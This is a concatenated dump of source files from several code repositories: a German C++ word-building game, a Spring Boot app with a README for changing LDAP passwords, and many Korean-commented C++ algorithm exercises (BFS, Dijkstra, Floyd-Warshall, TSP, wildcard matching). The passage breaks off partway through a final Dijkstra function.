int umwandeln(std::string& eingabe, std::string& eingabe2, char auswahl[], char auswahl1, std::string& wortNeu, unsigned int loeschzeichen, unsigned int anzahl);
int benutzereingabe(unsigned int& x);
// nach gültiger Zeichenauswahl abfragen
bool ueberpruefen(unsigned int stelle, unsigned int menge, bool& pruefer);
//entspricht benutzereingabe zeichenanzahl der vorgabe?
void vergleichen(unsigned int& anzahl);
//generieren des Ausgangswort mit 'anzahl' Zeichen
char wortbilden(int anzahl, unsigned int& kopie);
//erzeugt Schalter für switch in zuordnung()
unsigned int SCHALTER(unsigned int& loeschzeichen, int& schalter);
//Schalter für die korrekte Auswahl des zu ersetzenden Zeichens
unsigned int zuordnung(int schalter, unsigned int& loeschzeichen);<file_sep>#include <iostream>
#include <string>
#include <array>
#include <fstream>
#include <sstream>
#include <map>
#include <random>
#include "ownUtil.hpp"
using namespace std;
//////////////////////////////////////////////////////////////////////////////////////////
//zeichenkette erstellen und durch ziehen einzelner buckstaben ein langes wort erstellen//
//////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
int main() {
string eingabe{}; //ausgangswort
string eingabe2; //erstellt eingabe2 plus jedes zweite Zeichen einen seperator | (nur für übersichtlichere Ausgabe benötigt
unsigned int kopie = 0;
string wortNeu; //erratenes wort
string alleWoerter; //vergleichsliste? (mit alleWoerter.txt soll wortNeu verglichen werden
char auswahl[1] = {}; //temporäre ablage für den gewählten buchstaben
char auswahl1 = 0;
bool pruefer = true;
unsigned int anzahl = 0; //anzahl der Buchstaben im ausgangswort
string name;
int schalter;
//srand(time(0));
//Vorbereitung des Spiels
cout << "Buchstaben pfluecken" << endl;
cout << "~~~~~~~~~~~~~~~~~~~" << endl;
cout << "Wie heisst du?" << endl;
cin >> name;
cout << endl << "Deine Aufgabe wird sein aus dem folgenden Buchstabensalat, ein Wort zu bilden! \n" << endl;
cout << "Wieviele Buchstaben moechtest du sortieren (max 20)?" << endl;
benutzereingabe(anzahl); //ignoriere buchstabeneingaben
//anzahl = 20;
vergleichen(anzahl);
for (unsigned int i = 0; i < anzahl; i++) { //abfrage der festgelegten anzahl an Versuchen
wortbilden(anzahl, kopie);
eingabe.append(1, wortbilden(anzahl, kopie)); //eingabe wird um ein zeichen 'buchstabe' verlängert
//eingabe.append(1, kopie);
if ((i) % 2) { //eingabe2 wird um ein zeichen 'buchstabe' verlängert und alle 2 Zeichen ein Seperator '|' eingefügt
eingabe.append(1, '|');
}
}
cout << eingabe << endl;
//der Buchstabensalat ist bereit
cout << "\nBastel aus diesen Buchstaben ein moeglichst langes Wort!" << endl << endl << eingabe << endl;
//
//Beginn des Rätsels
//
unsigned int loeschzeichen = 0; //welches zeichen soll gelöscht werden
unsigned char loeschhilfe = 0; //eingabe char zum umrechnen zu int (zum auslesen falscher eingaben durch buchstaben)
for (unsigned int i2 = 0; i2 < anzahl; i2) {
auswahl1 = {};
int a = eingabe.size();
anzahl = a;
cout << "\nDas wievielte Zeichen willst du nehmen? \n druecke '0' um das Wort fertigzustellen!\n";
benutzereingabe(loeschzeichen);
//loeschzeichenPruefen(loeschzeichen);
ueberpruefen(loeschzeichen, anzahl, pruefer);
SCHALTER(loeschzeichen, schalter);
zuordnung(schalter, loeschzeichen);
cout << loeschzeichen << endl;
if (pruefer == false) {
break;
}
umwandeln(eingabe, eingabe2, auswahl, auswahl1, wortNeu, loeschzeichen, anzahl);
}
if (abgleich(wortNeu) == true) {
cout << "\nBravo, " << name << ". Sie haben ein gueltiges Wort erraten!" << endl;
}
else cout << "Tur mir leid! Diese Wort kenne ich nicht. Versuchs doch noch einmal! :)" << endl;
pause();
return 0;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
| 55f410d7700a175061079781d364d743bcf5c621 | [
"C++"
] | 3 | C++ | Bernd1234Neubi/letters | 54c82b06313d2cc9ce4ac9f514335ef4cb6e2224 | 5b0810ac666b3e0ca04a052dc428adc6f0b7f952 |
refs/heads/master | <file_sep># ldap-spring-boot
This application can run standalone or can be deployed to various PAAS solutions (e.g. to PCF) and can be connected to LDAP in order to enable users to change their password, this assumeas that all users are in the same directoy structure
In order to connect it against LDAP you need to set some environment variables:
* url - the url to the LDAP istallation including the port but without the protocol, default is "localhost:3890"
* cnsuffix will be added to the username, add the parameters there you need to find the entry in your directory default is ", ou=users,dc=example,dc=com" which leads to "cn=test, ou=users,dc=example,dc=com" for a user test
* ssl use ssl or not, default is "false"
* basename default is dc=example,dc=com
* excludes (list of user which are not allowed to change password seperated by ;)default is it.admin and admin (it.admin;admin)
some words about LDAP:
The Lightweight Directory Access Protocol (LDAP) is a directory service protocol that runs on a layer above the TCP/IP stack. It provides a mechanism used to connect to, search, and modify Internet directories. The LDAP directory service is based on a client-server model.
some terms you should know:
* Domain Component (DC)
* Organisational Unit (OU)
* Distinguished Name (DN) - full identification path including relative path/domain, e.g. "dn: cn=John Doe,dc=example,dc=com" means id John which is under com.example
## Test app locally
It is up to you how to test it, I use https://github.com/gschueler/vagrant-rundeck-ldap for a local LDAP installation (it uses OpenLDAP), apache director studio (http://directory.apache.org/studio/) as LDAP editor and run the app locally (gradlew bootRun) or I use PCF Dev (https://pivotal.io/platform/pcf-tutorials/getting-started-with-pivotal-cloud-foundry-dev/introduction). This hints are referring to this test setup.
prepare:
* in https://github.com/gschueler/vagrant-rundeck-ldap execute 'vagrant up'
optional (if you want to use PCF) - prepare:
* download PCF DEV https://github.com/gschueler/vagrant-rundeck-ldap and install it
* install PCF cli (https://pivotal.io/platform/pcf-tutorials/getting-started-with-pivotal-cloud-foundry-dev/install-the-cf-cli)
1.build the app:
gradlew clean build
2.a test the app locally:
gradlew bootRun
# open localhost:8080
# change password for user deploy (password is deploy)
2.b optional - test with local PCF:
gradlew build
cf login -a https://api.local.pcfdev.io --skip-ssl-validation
# Email: user
# Password: <PASSWORD>
cf push -p .\build\libs\ldap-spring-boot-0.0.1.jar ldap-password
# set taget to host (check ifconfig)
# e.g.
cf set-env ldap-password URL 192.168.11.1:3890
cf restart ldap-password
# open https://ldap-password.local.pcfdev.io/
#
# Apps Manager URL: https://local.pcfdev.io
# Admin user => Email: admin / Password: <PASSWORD>
# Regular user => Email: user / Password: <PASSWORD>
## appendix
If you want to tst the vagrant box with ldap, you can use for example the apache director studio (http://directory.apache.org/studio/). Connect apache director to ldap in vagrant box (localhost:3890; bind:cn=deploy, ou=users,dc=example,dc=com and test the box and the users, means you can play e.g. use 'cn=deploy,ou=users,dc=example,dc=com with password deploy' or just take one from https://github.com/gschueler/vagrant-rundeck-ldap/blob/master/example-jaas-ldap.conf or https://github.com/gschueler/vagrant-rundeck-ldap/blob/master/default.ldif
<file_sep>package com.emc.ldap;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import javax.naming.Context;
import javax.naming.directory.*;
import java.util.Hashtable;
import java.util.List;
@Controller
public class ChangePasswordController {
@Value("${url:localhost:3890}") //serverIP:serverPort
String url;
@Value("${ssl:false}")
boolean ssl;
@Value("${cnsuffix:, ou=users,dc=example,dc=com}")
String cnsuffix;
@Value("${cnprefix:cn=}")
String cnprefix;
@Value("#{'${excludes:it.admin;admin}'.split(';')}")
private List<String> excludes;
@RequestMapping("/")
public String changePassword(Model model) {
PasswordChange passwordChange = new PasswordChange();
passwordChange.setName("");
passwordChange.setOldPassword("");
passwordChange.setPassword("");
passwordChange.setPasswordRepeat("");
passwordChange.setCnprefix(cnprefix);
passwordChange.setCnsuffix(cnsuffix);
passwordChange.setUrl(url);
model.addAttribute("passwordChange", passwordChange);
return "ChangePassword";
}
@RequestMapping(value="/passwordChange", method= RequestMethod.POST)
public String passwordChangeSubmit(@ModelAttribute PasswordChange passwordChange, Model model) {
System.out.println("execute password change request to ldap...");
System.out.println("url:" + url);
System.out.println("ssl:" + ssl);
System.out.println("cnsuffix:" + cnsuffix);
System.out.println("cnprefix:" + cnprefix);
System.out.println("the request will be: " + cnprefix + "YOUR-NAME" + cnsuffix);
try {
if(excludes.contains(passwordChange.getName().trim())) {
model.addAttribute("error", true);
model.addAttribute("message", "it is not allowed to change the password of this user, see exclude list");
return "passwordChange";
}
if(!passwordChange.getPassword().equals(passwordChange.getPasswordRepeat())) {
model.addAttribute("error", true);
model.addAttribute("message", "password and password repeat not equal");
return "passwordChange";
}
Hashtable ldapEnv = new Hashtable(11);
ldapEnv.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
ldapEnv.put(Context.PROVIDER_URL, "ldap://" + url);
ldapEnv.put(Context.SECURITY_AUTHENTICATION, "simple");
String principal = cnprefix + passwordChange.getName() + cnsuffix;
ldapEnv.put(Context.SECURITY_PRINCIPAL, principal);
ldapEnv.put(Context.SECURITY_CREDENTIALS, passwordChange.getOldPassword());
if(ssl) {
ldapEnv.put(Context.SECURITY_PROTOCOL, "ssl");
}
System.out.println("updating password... using " + "ldap://" + url + " with " + principal);
DirContext ldapContext = new InitialDirContext(ldapEnv);
ModificationItem[] mods = new ModificationItem[1];
mods[0] = new ModificationItem(DirContext.REPLACE_ATTRIBUTE,
new BasicAttribute("userPassword", <PASSWORD>Change.<PASSWORD>()));
ldapContext.modifyAttributes(principal, mods);
System.out.println("password changed");
model.addAttribute("success", true);
return "passwordChange";
} catch (Exception e) {
System.out.println("try to update password lead to an error: " + e.getMessage());
model.addAttribute("message", e.getMessage());
model.addAttribute("error", true);
e.printStackTrace();
return "passwordChange";
}
}
}
| 33a4c7e754f9fc70ec8f068e1bef258187f42136 | [
"Markdown",
"Java"
] | 2 | Markdown | michaelgruczel/ldap-spring-boot | 8f21ea3a2e6a2bc0a22741ed7ec6d280100a8093 | 639eb6eeaf4e7b128b88f4c2dfa9bade91ef4bd9 |
refs/heads/master | <file_sep>#include <iostream>
#include <algorithm>
using namespace std;
struct Point {
int x;
int y;
};
int n;
int r_min[22] = { 0, };
int r_max[22] = { 0, };
struct Point p[52];
void calc(int index, int c_index);
bool cmp(const Point&p1, const Point&p2);
int main() {
//입력
int c;
cin >> c;
for (int i = 0; i < c; i++) {
cin >> n;
for (int j = 0; j < n; j++) {
cin >> p[j].x >> p[j].y;
}
sort(p, p + n, cmp);
r_min[i] = 1000000;
r_max[i] = -1;
calc(0, i);
}
for (int i = 0; i < c; i++)
cout << r_min[i] << " " << r_max[i] << endl;
return 0;
}
void calc(int index, int c_index) {//시작위치
//만약 index가 0이라면
//index
if (index + 3 >= n) return;
int temp = index + 1;
while (1) {
//2번째 좌표 정하기
if (p[index].x == p[temp].x) {
int d = p[temp].y - p[index].y; // 길이
for (int i = temp + 1; i < n-1; i++) {
//3번째 좌표 정하기
if (p[i].x == p[index].x + d) {
for (int j = i+1; j < n; j++) {
//4번째 좌표 정하기
if (p[i].x == p[j].x) {
if (p[j].y - p[i].y == d) {
//최대 최소 값
r_min[c_index] > d ? r_min[c_index] = d : 0;
r_max[c_index] < d ? r_max[c_index] = d : 0;
}
}
else
{
break;
//끝내기 -> 없으니깐
}
}
}
else if (p[i].x > p[index].x + d) {
break;
}
}
temp++;
}
else break;
}
return calc(index + 1, c_index);
}
bool cmp(const Point&p1, const Point&p2) {
if (p1.x < p2.x)
return true;
else if (p1.x == p2.x)
return p1.y < p2.y;
else
return false;
}<file_sep>//#include <iostream>
//#include <queue>
//
//
//int arr[101][101][101]; //입력 (높이, row, col)
//int cache[101][101][101] = { -1, }; //익는데 걸리는 최소 날
//using namespace std;
//
//struct Place {
// int h;
// int y;
// int x;
//
// Place(int _h, int _y, int _x) {
// h = _h;
// y = _y;
// x = _x;
// }
//};
//
///*
//배열 크기를 n*m이라 하면
//입력 : O(n*m)
//익는데 걸리는 최소 날 구하기 : O(n*m*4) -> 각 위치에서 4번 보니깐
//최대 값 확인 : O(n*m)
//*/
//
//int main() {
// int max = 0;
// queue<Place> q;
// int row, col, height; // (row, col) = (y,x), 높이
// cin >> col >> row >> height;
// for (int k = 0; k < height; k++) {
// for (int i = 0; i < row; i++) {
// for (int j = 0; j < col; j++) {
// cin >> arr[k][i][j];
// if (arr[k][i][j] == 1) {
// q.push(Place(k, i, j)); //(height, y,x)
// cache[k][i][j] = 0;
// }
// else cache[k][i][j] = -1;
// }
// }
// }
//
// while (!q.empty()) {
// int q_h = q.front().h; // height
// int q_y = q.front().y; //row
// int q_x = q.front().x; //col
// q.pop();
//
// for (int i = 0; i <6; i++) { // 4방면 확인
// int x = q_x, y = q_y, h = q_h;
// if (i == 0)x = x - 1;
// else if (i == 1) x = x + 1;
// else if (i == 2) y = y - 1;
// else if (i == 3) y = y + 1;
// else if (i == 4) h = h - 1;
// else h = h + 1;
//
// if (y < 0 || y >= row || x < 0 || x >= col || h < 0 || h >= height) //범위 넘으면 무시
// continue;
//
// switch (arr[h][y][x]) {
// case -1: // 못가는 곳이면 pass
// break;
// case 0: //0이면 queue에 추가하고 이미 갔다는 표시로 2로 바꿈
// //그 후 cache에 더 작은 비용으로 갱신
// arr[h][y][x] = 2;
// q.push(Place(h, y, x));
// if (cache[h][y][x] == -1)
// cache[h][y][x] = cache[q_h][q_y][q_x] + 1;
// else
// if (cache[h][y][x] > cache[q_h][q_y][q_x] + 1) cache[h][y][x] = cache[q_h][q_y][q_x] + 1;
// break;
// case 1: //1이면 0으로 (원래 익어있었으니깐)
// cache[h][y][x] = 0;
// break;
// case 2: //이미 익었으면 pass
// break;
//
// }
// }
// }
// for (int k = 0; k < height; k++) {
// for (int i = 0; i < row; i++) {
// for (int j = 0; j < col; j++) { //토마토가 있는데 못 익었으면 -1, 아니면 최대 걸린 날로 max 설정
// if (arr[k][i][j] != -1 && cache[k][i][j] == -1) {
// max = -1;
// }
// else if (max != -1 && max < cache[k][i][j]) max = cache[k][i][j];
// }
// }
// }
// cout << max;
//
// return 0;
//}<file_sep>#include <iostream>
#include <math.h>
using namespace std;
int input[100002] = { 0, };
int cache[100002] = { 0, };
int main() {
int n, temp = 0, result;
int mult = 1;
cin >> n;
for (int i = 0; i < n; i++) {
cin >> input[i];
}
result = abs(input[1] - input[0]);
for (int i = n-1; i > 0; i--) {
cache[i] = abs(input[i - 1] - input[i]); // nΊΞΕΝ 1±ξΑφ
temp = cache[i];
if (result < temp) result = temp;
for (int j = i+1; j < n-1; j+=2) {
temp = temp - cache[j] + cache[j + 1];
if (result < temp)
result = temp;
}
}
cout << result;
cin >> n;
return 0;
}
<file_sep>#include <iostream>
#include <vector>
using namespace std;
bool visited[15] = { 0, };
double edge[15][15] = { -1, };
double m_dist;
double ret[50];
int C, N; // N은 도시 개수
void tsp(int node, double dist, int count) {
visited[node] = true;
if (count == N) {
visited[node] = false;
if (m_dist > dist)
m_dist = dist;
return;
}
for (int i = 0; i < N; i++) {
if (!visited[i] && edge[node][i] != 0)
tsp(i, dist + edge[node][i], count + 1);
}
visited[node] = false;
}
int main() {
cin >> C;
for (int i = 0; i < C; i++) {
cin >> N;
m_dist = 1000000;
for (int j = 0; j < N; j++) {
for (int k = 0; k < N; k++) {
cin >> edge[j][k]; // j -> k
}
}
for (int j = 0; j < N; j++) {
tsp(j, 0, 1);
}
ret[i] = m_dist;
}
for (int i = 0; i < C; i++) {
printf("%.10f\n", ret[i]);
}
}<file_sep>#include<iostream>
#include <algorithm>
using namespace std;
int tree[1000000] = {0,};
int ret[12] = { 0, };
bool desc(int a, int b) {
return a > b;
};
int calc(int n, int m);
int main() {
int c;
cin >> c;
for (int i = 0; i < c; i++) {
int n, m;
cin >> n >> m;
for (int j = 0; j < n; j++)
cin >> tree[j];
sort(tree, tree + n, desc);
ret[i] = calc(n, m);
}
for (int i = 0; i < c; i++) {
cout << "#" << i + 1 <<" "<< ret[i] << endl;
}
return 0;
}
int calc(int n, int m) {
int ret = tree[0]-1;
int now_m = 0;
int tree_point = 0;
for (int i = ret; i >=0; i--) {
while (1) {
if (tree_point == n || tree[tree_point] <= i) {
now_m += (tree_point) * 1;
break;
}
else tree_point++;
}
if (now_m >= m)
return i;
}
}<file_sep>#include <iostream>
#include <map>
using namespace std;
map<int, int> pos;
bool isDominated(int x, int y) {
map<int, int>::iterator it = pos.lower_bound(x);
if (it == pos.end()) return false;
return y < it->second;
}
void removeDominated(int x, int y) {
map<int, int>::iterator it = pos.lower_bound(x);
if (it == pos.begin())return;
it--;
while (true) {
if (it->second > y) break;
if (it == pos.begin()) {
pos.erase(it);
break;
}
else {
map<int, int>::iterator dt = it;
dt--;
pos.erase(it);
it = dt;
}
}
}
int count(int x, int y) {
if (isDominated(x, y)) return pos.size();
removeDominated(x, y);
pos[x] = y;
return pos.size();
}
int main() {
int t_c,n;
int x, y;
int total = 0;
cin >> t_c;
while (t_c--) {
cin >> n;
for (int i = 0; i < n; i++) {
cin >> x >> y;
total += count(x, y);
}
cout << total;
total = 0;
pos.clear();
}
cin >> total;
return 0;
}<file_sep>#include <iostream>
#include <math.h>
#include <vector>
using namespace std;
long long int calc(long long int N, long long int count) {
long long int rootN = sqrt(N);
long long int nextN = (rootN + 1)*(rootN + 1);
if (N == 2)
return count;
else if (rootN*rootN == N)
return calc(rootN, ++count);
else
return calc(nextN, count + nextN-N);
};
int main() {
int C;
long long N;
vector<long long> ret;
cin >> C;
for (int i = 0; i < C; i++) {
cin >> N;
ret.push_back(calc(N, 0));
}
for (int i = 0; i < ret.size(); i++)
cout << "#" << i + 1 <<" "<< ret.at(i)<<endl;
ret.clear();
}<file_sep>#include<vector>
#include<iostream>
#include <string>
#include<algorithm>
using namespace std;
//abcdefghijklmnopqrstuvwxyz
//A = 65
struct dic {
string word;
int priority;
dic(string _word, int _priority) {
word = _word;
priority = _priority;
}
};
bool cmp(const dic a, const dic b) {
if (a.priority > b.priority)
return true;
else if (a.priority == b.priority)
return a.word < b.word;
else
return false;
}
vector<dic> alp[27];
string typing[20002];
int calc();
int M;
int main() {
int C, N;
cin >> C;
for (int i = 0; i < C; i++) {
cin >> N;
cin >> M;
for (int j = 0; j < N; j++) {
string word;
int priority;
cin >> word >> priority;
alp[word.at(0) - 65].push_back(dic(word, priority));
}
for (int j = 0; j < M; j++) {
cin >> typing[j];
}
for (int j = 0; j < 26; j++) {
sort(alp[j].begin(), alp[j].end(), cmp);
}
cout << calc();
for (int j = 0; j < 27; j++) {
alp[j].clear();
}
}
return 0;
}
int calc() {
int count = 0;
for (int i = 0; i < M; i++) {
string word = typing[i];
int index = typing[i].at(0) - 65; //첫 알파벳
int t_index = 0;//몇번째 글자를 보고 있는지
bool check = false;
/*n번째 글자를 보고 있다.
n번째 글자까지 같고 그 첫번째 단어가 같다면 count
다르면 더 봐야 함*/
if (alp[index].size() == 0)
t_index = word.length();
for (int k = 0; k < alp[index].size(); k++) {
if ((alp[index].at(k).word.at(t_index)) == word.at(t_index)) {//해당 보는 글자가 같으면
if (!alp[index].at(k).word.compare(word)) { //단어 전체가 같으면
count += 2;
break;
}
else {
int temp = t_index;
while (k + 1 < alp[index].size()) { //thanks와 the
if (alp[index].at(k).word.at(t_index + 1) == alp[index].at(k + 1).word.at(t_index + 1)) {
t_index = temp + 1;
}
else
break;
}
t_index++;
}
}
if (k == alp[index].size() - 1) { //끝까지 봤는데 그게 나올수도
t_index = word.length();
}
}
count += t_index;
}
count += (M-1);
return count;
}<file_sep>/*
확률을 사용
*/
#include <iostream>
#include <cstdio>
#include <vector>
#include <algorithm>
using namespace std;
int main() {
int n, c, m;
vector <int> arr;
vector<vector<int>> color; //color[num] => 해당 색의 모자를 쓴 난쟁이 번호 (오름차순)
scanf("%d %d", &n, &c);
color.resize(c + 1); // 색의 수만큼 사이즈 재정의
int temp;
for (int i = 0; i < n; i++) {
scanf("%d", &temp);
arr.push_back(temp);
color[temp].push_back(i + 1); //난쟁이 수는 1부터니깐
}
scanf("%d", &m);
for (int i = 0; i < m; i++) {
int a, b, num;
bool check = false;
scanf("%d %d", &a, &b);
//확률을 활용
for (int j = 0; j < 16; j++) {
num = rand() % (b-a+1) + a-1;
num = arr[num];
int cnt = upper_bound(color[num].begin(), color[num].end(), b) - lower_bound(color[num].begin(), color[num].end(), a); //이진탐색 활용
if (cnt > (b - a + 1) / 2) {
printf("yes %d\n", num);
check = true;
break;
}
}
if (!check) printf("no\n");
}
cin >> n;
return 0;
}<file_sep>#include <iostream>
#include <vector>
#include <queue>
using namespace std;
int V;
const int MAX_V = 1000;
int INF = 1000000; //엄청 큰 값
vector<pair<int, int>> adj[MAX_V]; //인접리스트(연결된 정점 번호, 간선 가중치)쌍
vector<int> dijkstra(int src) {
vector<int> dist(V, INF);
dist[src] = 0; //시작 지점 초기화
priority_queue<pair<int, int>> pq; //음수로 저장 (적은것부터 정렬하려고)
//pair비교할 때는 첫번째 원소를 원저 비교하므로 정점까지의 거리를 첫번째 원소로
pq.push(make_pair(0, src)); //정점까지의 최단거리, 정점
while (!pq.empty()) {
int cost = -pq.top().first;
int here = -pq.top().second;
pq.pop();
//없애고 넣는 것이 아니라 중복 원소를 넣는 방식으로
//-> 지금 꺼낸 것보다 더 짧은 경로를 알고있다면 꺼낸 것 무시
if (dist[here] < cost) continue;
//인접한 정점들을 모두 검사
for (int i = 0; i < adj[here].size(); i++) {
int there = adj[here][i].first;
int nextDist = cost + adj[here][i].second;
//더 짧은 경로를 발견하면 dist[]갱신하고 큐에 넣기
if (dist[there] > nextDist) {
dist[there] = nextDist;
pq.push(make_pair(-nextDist, there));
}
}
}
for (int i = 0; i < V; i++) {
cout << dist[i] << endl;
}
return dist;
}
int main() {
int src;
cin >> V >>src;
for (int i = 0; i < V; i++) {
int v, u, w;
cin >> v >> u >> w;
adj[v].push_back(make_pair(u, w));
}
}
<file_sep>#include <iostream>
#include <math.h>
#include <vector>
#include <queue>
using namespace std;
/* 남극기지
최적화문제를 결정문제로 바꾼 뒤, 이분법을 이용해 해결 (아래 mid를 사용하는 부분)
최적화 문제 = 실수 or 정수, 답의 경우가 무한함
결정문제 = yes or no, 두가지 답만 존재
*/
double pos[101][2]; // 기지의 위치
double dist[101][101]; //두 점 사이의 거리
int n; //기지의 수
bool decision(double d) { // 결정문제 -> d이하로 모든 기지를 하나로 연결할 수 있는가
//너비우선탐색으로 d이하인 지점 사이에 간선이 있다 생각하고 전부 연결되는지 확인
vector<bool> visited(n, false);
visited[0] = true; // 0번째 지점부터 시작
queue<int> q;
q.push(0);
int seen = 0; // 본 지점의 수, seen == n이면 모든 지점이 다 연결되어 있다는 의미
while (!q.empty()) {
int here = q.front();
q.pop();
++seen;
for (int there = 0; there < n; there++) {
if (!visited[there] && dist[here][there] <= d) {
q.push(there);
visited[there] = true;
}
}
}
return seen == n;
}
double optimize() { //최적화 문제 -> 최소 무전기 반경 구하는 함수
double lo = 0, hi = 1416.00; //루트2는 1.414~~~
for (int it = 0; it < 100; it++) {
double mid = (lo + hi) / 2;
//결정문제로 범위를 줄여나간다.
if (decision(mid)) //d이하로 다 연결할 수 있으면 lo-mid사이의 중간값을 이용
hi = mid;
else //d이하로 다 연결할 수 없으면 mid-hi사이의 중간값을 이용
lo = mid;
}
return hi;
}
int main() {
int c;
double x, y; //기지의 좌표 (x,y)
scanf("%d", &c);
while (c--) {
scanf("%d", &n);
for(int i=0;i<n;i++){
scanf("%lf %lf", &pos[i][0], &pos[i][1]);
}
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
dist[i][j] = sqrt(pow(pos[i][0] - pos[j][0], 2) + pow(pos[i][1] - pos[j][1], 2)); // (x1-x2)^2+(y1-y2)^2 루트
dist[j][i] = dist[i][j];
}
}
printf("%.2f\n", optimize());
}
return 0;
}
<file_sep>#include <iostream>
using namespace std;
int value[1002] = { 0, }; //대여비용 저장
double ret[102] = { 0, }; //최소 평균 저장
double calc(int n, int l); // 최소 평균 비용 구하는 함수
int main() {
int c; //케이스 수
int n; //대여할 수 있는 날
int l; //섭외한 팀 수
//입력
cin >> c;
for (int i = 0; i < c; i++) {
cin >> n >> l;
for (int j = 0; j < n; j++)
cin >> value[j];
ret[i] = calc(n, l);
}
for (int i = 0; i < c; i++) {
printf("%.12f\n", ret[i]);
}
return 0;
}
double calc(int n, int l) { // 최소 평균 비용 구하는 함수
double ret = 0;
int temp = 0;
for (int j = n-l; j <n ; j++) { //제일 마지막 경우만 먼저 계산
temp += value[j];
}
ret = (double)temp / l;
for (int i = 0; i < n - l; i++) {
temp = 0;
for (int j = 0; j < l; j++) { //처음 필요한 팀만큼 계산
temp += value[i + j];
}
if ((double)temp / l < ret)
ret = (double)temp / l;
for (int j = i + l; j < n; j++) { //하나씩 추가하며 계산
temp += value[j];
if ((double)temp/ (j-i+1) < ret)
ret = (double)temp/ (j - i + 1);
}
}
return ret;
}<file_sep>#include<iostream>
#include<vector>
#include<cstdio>
#include<algorithm>
using namespace std;
int main() {
long long int cache2 = 0;
vector<long long int>v;
int n, x;
scanf("%d %d", &n, &x);
long long int temp;
long long int max2 = 0;
int start = 0, end = -1;
int t_start = 0, t_end = -1;
for (int i = 0; i < n; i++) {
scanf("%lld", &temp);
v.push_back(temp);
if (cache2 < 0) t_start = i, t_end = i;
else t_end++;
cache2 = max((long long)0, cache2) + temp * x;
if (cache2 > max2) {
start = t_start;
end = t_end;
max2 = cache2;
}
}
if (end != -1) {
for (int i = start; i <= end; i++) {
v[i] = v[i] * x;
}
}
cache2 = 0;
for (int i = 0; i < n; i++) {
cache2 = max((long long)0, cache2) + v[i];
if (cache2 > max2) {
max2 = cache2;
}
}
cout << max2;
return 0;
}<file_sep>#include <iostream>
#include <string>
#include <vector>
#include <algorithm>
using namespace std;
int cache[101][101];
//패턴과 문자열
string W, S;
vector<string> text;
vector<string> ret;
//와일드카드 패턴 W[w...]가 문자열 S[s...]에 대응되는지 여부를 반환한다. O(n^3)
bool matchMemoized(int w, int s) {
int& ret = cache[w][s];
if (ret != -1) return ret;
//W[w]와 S[s]를 맞춰나간다
while (s < S.size() && w < W.size() && (W[w] == '?' || W[w] == S[s])) {
w++; s++;
}
//더 이상 대응할수 없으면 왜 while문이 끝났는지를 확인
// 패턴 끝에 도달하여 끝난 경우 : 문자열도 끝났어야 성공
if (w == W.size())
return ret = (s == S.size());
// *를 만나서 끝난 경우 : *에 몇 글자를 더해야 하는지 모르므로 재귀호출하여 확인
if (W[w] == '*')
for (int skip = 0; s + skip <= S.size(); skip++)
if (matchMemoized(w + 1, s + skip))
return ret = 1;
//그 외엔 실패.
return ret = 0;
}
void calWild(int n, string wild) {
vector<string> res;
W = wild;
for (int i = 0; i<n; i++) {
for (int x = 0; x < 101; x++) {
for (int y = 0; y < 101; y++)
cache[x][y] = -1;
}
S = text[i];
if (matchMemoized(0, 0)) {
res.push_back(text[i]);
}
}
sort(res.begin(), res.end());
ret.insert(ret.end(), res.begin(), res.end());
}
int main() {
int C;
cin >> C;
for (int i = 0; i < C; i++) {
string wild;
int n;
cin >> wild >> n;
for (int i = 0; i < n; i++) {
string temp;
cin >> temp;
text.push_back(temp);
}
calWild(n, wild);
text.clear();
}
for (int i = 0; i < ret.size(); i++) {
cout << ret[i] << endl;
}
cin >> C;
}
<file_sep>#include <iostream>
#include <queue>
int arr[1001][1001];
int cache[1001][1001] = { -1, };
using namespace std;
int main() {
int max = 0;
queue<pair<int, int>> q;
int row, col; // (row, col) = (y,x)
cin >> col >> row;
for (int i = 0; i < row; i++) {
for (int j = 0; j < col; j++) {
cin >> arr[i][j];
if (arr[i][j] == 1) {
q.push(pair<int, int>(i, j)); //(y,x)
cache[i][j] = 0;
}
else cache[i][j] = -1;
}
}
while (!q.empty()) {
int q_y = q.front().first; //row
int q_x = q.front().second; //col
q.pop();
for (int i = 0; i < 4;i++) { // -1, 1
int x = q_x, y = q_y;
if (i == 0)x = x - 1;
else if (i == 1) x = x + 1;
else if (i == 2) y = y - 1;
else y = y + 1;
if (y < 0 || y >= row || x < 0 || x >= col)
continue;
switch (arr[y][x]) {
case -1:
break;
case 0:
arr[y][x] = 2;
q.push(pair<int, int>(y, x));
if (cache[y][x] == -1)
cache[y][x] = cache[q_y][q_x] + 1;
else
if (cache[y][x] > cache[q_y][q_x] + 1) cache[y][x] = cache[q_y][q_x] + 1;
break;
case 1:
cache[y][x] = 0;
break;
case 2:
break;
}
}
}
for (int i = 0; i < row; i++) {
for (int j = 0; j < col; j++) {
if (arr[i][j]!=-1 && cache[i][j] == -1) {
max = -1;
}
else if (max!=-1 && max < cache[i][j]) max = cache[i][j];
}
}
cout << max;
cin >> row;
return 0;
}<file_sep>#include <iostream>
#include <vector>
using namespace std;
const int INF = 1000000000;
int ret[102][102];
vector<pair<int, int>> edge[101];
int n, m;
int main() {
//ÃʱâÈ
for (int i = 1; i <= 100; i++) {
for (int j = 1; j <= 100; j++) {
if (i == j)
ret[i][j] = 0;
else
ret[i][j] = INF;
}
}
cin >> n >> m;
int a, b, c;
for (int i = 0; i < m; i++) {
cin >> a >> b >> c;
if (ret[a][b] > c)
ret[a][b] = c;
}
for (int k = 1; k <= n; k++) {
for (int i = 1; i <= n; i++) {
for (int j = 1; j <= n; j++) {
if(ret[i][j]>ret[i][k]+ret[k][j])
ret[i][j] = ret[i][k] + ret[k][j];
}
}
}
for (int i = 1; i <= n; i++) {
for (int j = 1; j <= n; j++) {
if (ret[i][j] == INF)
cout << 0 << " ";
else
cout << ret[i][j] << " ";
}
cout << endl;
}
cin >> n;
}<file_sep>#include <iostream>
#include <string>
#include <algorithm>
#include <cstring>
#include <vector>
#include <queue>
using namespace std;
int V, E, n, m;
vector<vector<pair<int, int>>> adj; //인접 리스트
int fire[1002];
const int INF = 987654321;
//다익스트라
vector<int> dijkstra(int x)
{
